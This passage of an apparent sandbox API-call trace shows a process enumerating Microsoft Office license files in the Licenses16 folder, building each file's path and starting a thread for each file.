	[0089.761] wcscat (in: _Dest=0x4924a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.761] wcscat (in: _Dest=0x4924a28, _Source="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms"
	[0089.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4924a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e50
	[0089.762] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3cbbc0c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3cbbc0c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3da0a82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="HO90F4~1.XRM")) returned 1
	[0089.762] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms", _String2=".") returned 1
	[0089.762] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms", _String2="..") returned 1
	[0089.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924af0
	[0089.762] wcscpy (in: _Dest=0x4924af0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.762] wcscat (in: _Dest=0x4924af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.762] wcscat (in: _Dest=0x4924af0, _Source="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms"
	[0089.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4924af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e54
	[0089.763] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c494f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c494f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d080f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="HODAE7~1.XRM")) returned 1
	[0089.763] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.763] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9d20
	[0089.763] wcscpy (in: _Dest=0x47e9d20, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.763] wcscat (in: _Dest=0x47e9d20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.763] wcscat (in: _Dest=0x47e9d20, _Source="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms"
	[0089.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e58
	[0089.764] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3a0d1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3a0d1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b646e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x559d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_Grace-ppd.xrm-ms", cAlternateFileName="HOMEBU~1.XRM")) returned 1
	[0089.764] wcscmp (_String1="HomeBusinessPipcR_Grace-ppd.xrm-ms", _String2=".") returned 1
	[0089.764] wcscmp (_String1="HomeBusinessPipcR_Grace-ppd.xrm-ms", _String2="..") returned 1
	[0089.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ad18
	[0089.764] wcscpy (in: _Dest=0x481ad18, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.764] wcscat (in: _Dest=0x481ad18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.764] wcscat (in: _Dest=0x481ad18, _Source="HomeBusinessPipcR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms"
	[0089.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481ad18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e5c
	[0089.765] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee37a832, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_Grace-ul-oob.xrm-ms", cAlternateFileName="HOC1AF~1.XRM")) returned 1
	[0089.765] wcscmp (_String1="HomeBusinessPipcR_Grace-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.765] wcscmp (_String1="HomeBusinessPipcR_Grace-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ac60
	[0089.765] wcscpy (in: _Dest=0x481ac60, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.765] wcscat (in: _Dest=0x481ac60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.765] wcscat (in: _Dest=0x481ac60, _Source="HomeBusinessPipcR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms"
	[0089.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481ac60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e60
	[0089.765] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec691f40, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec691f40, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec750afb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms", cAlternateFileName="HO4E4E~1.XRM")) returned 1
	[0089.766] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms", _String2=".") returned 1
	[0089.766] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms", _String2="..") returned 1
	[0089.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a0e0
	[0089.766] wcscpy (in: _Dest=0x481a0e0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.766] wcscat (in: _Dest=0x481a0e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.766] wcscat (in: _Dest=0x481a0e0, _Source="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms"
	[0089.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e64
	[0089.766] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee4131cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x55d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="HOCD27~1.XRM")) returned 1
	[0089.802] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms", _String2=".") returned 1
	[0089.802] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms", _String2="..") returned 1
	[0089.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a028
	[0089.802] wcscpy (in: _Dest=0x481a028, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.802] wcscat (in: _Dest=0x481a028, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.802] wcscat (in: _Dest=0x481a028, _Source="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms"
	[0089.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4
	[0089.803] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3ef7f7a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3ef7f7a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3fdcd93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="HO30DA~1.XRM")) returned 1
	[0089.803] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.803] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d920
	[0089.803] wcscpy (in: _Dest=0x4f2d920, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.803] wcscat (in: _Dest=0x4f2d920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.803] wcscat (in: _Dest=0x4f2d920, _Source="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms"
	[0089.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2d920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb4
	[0089.804] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3dc6c97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3dc6c97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3eaba33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="HODC3A~1.XRM")) returned 1
	[0089.804] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.804] wcscmp (_String1="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2df20
	[0089.804] wcscpy (in: _Dest=0x4f2df20, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.804] wcscat (in: _Dest=0x4f2df20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.804] wcscat (in: _Dest=0x4f2df20, _Source="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms"
	[0089.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2df20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb8
	[0089.804] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c6f733, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c6f733, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d2e398, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5611, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Grace-ppd.xrm-ms", cAlternateFileName="HOA2C7~1.XRM")) returned 1
	[0089.804] wcscmp (_String1="HomeBusinessR_Grace-ppd.xrm-ms", _String2=".") returned 1
	[0089.804] wcscmp (_String1="HomeBusinessR_Grace-ppd.xrm-ms", _String2="..") returned 1
	[0089.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e118
	[0089.804] wcscpy (in: _Dest=0x2d5e118, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.804] wcscat (in: _Dest=0x2d5e118, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.804] wcscat (in: _Dest=0x2d5e118, _Source="HomeBusinessR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms"
	[0089.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ebc
	[0089.805] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b8a961, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b8a961, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c6f733, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Grace-ul-oob.xrm-ms", cAlternateFileName="HOMEBU~2.XRM")) returned 1
	[0089.805] wcscmp (_String1="HomeBusinessR_Grace-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.805] wcscmp (_String1="HomeBusinessR_Grace-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5e278
	[0089.805] wcscpy (in: _Dest=0x2d5e278, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.805] wcscat (in: _Dest=0x2d5e278, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.805] wcscat (in: _Dest=0x2d5e278, _Source="HomeBusinessR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms"
	[0089.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec0
	[0089.806] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c494f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c494f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3dc6c97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-pl.xrm-ms", cAlternateFileName="HO936B~1.XRM")) returned 1
	[0089.806] wcscmp (_String1="HomeBusinessR_OEM_Perp-pl.xrm-ms", _String2=".") returned 1
	[0089.806] wcscmp (_String1="HomeBusinessR_OEM_Perp-pl.xrm-ms", _String2="..") returned 1
	[0089.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d62760
	[0089.806] wcscpy (in: _Dest=0x2d62760, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.806] wcscat (in: _Dest=0x2d62760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.806] wcscat (in: _Dest=0x2d62760, _Source="HomeBusinessR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms"
	[0089.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d62760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec4
	[0089.807] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bd6df0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bd6df0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3cbbc0c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="HOMEBU~4.XRM")) returned 1
	[0089.807] wcscmp (_String1="HomeBusinessR_OEM_Perp-ppd.xrm-ms", _String2=".") returned 1
	[0089.807] wcscmp (_String1="HomeBusinessR_OEM_Perp-ppd.xrm-ms", _String2="..") returned 1
	[0089.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61c60
	[0089.807] wcscpy (in: _Dest=0x2d61c60, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.807] wcscat (in: _Dest=0x2d61c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.807] wcscat (in: _Dest=0x2d61c60, _Source="HomeBusinessR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms"
	[0089.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d61c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec8
	[0089.808] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bd6df0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bd6df0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c9598b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d61, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="HO620E~1.XRM")) returned 1
	[0089.808] wcscmp (_String1="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.808] wcscmp (_String1="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b448
	[0089.808] wcscpy (in: _Dest=0x481b448, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.808] wcscat (in: _Dest=0x481b448, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.808] wcscat (in: _Dest=0x481b448, _Source="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms"
	[0089.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ecc
	[0089.808] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b8a961, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b8a961, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c232ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="HOMEBU~3.XRM")) returned 1
	[0089.809] wcscmp (_String1="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.809] wcscmp (_String1="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481aaf0
	[0089.809] wcscpy (in: _Dest=0x481aaf0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.809] wcscat (in: _Dest=0x481aaf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
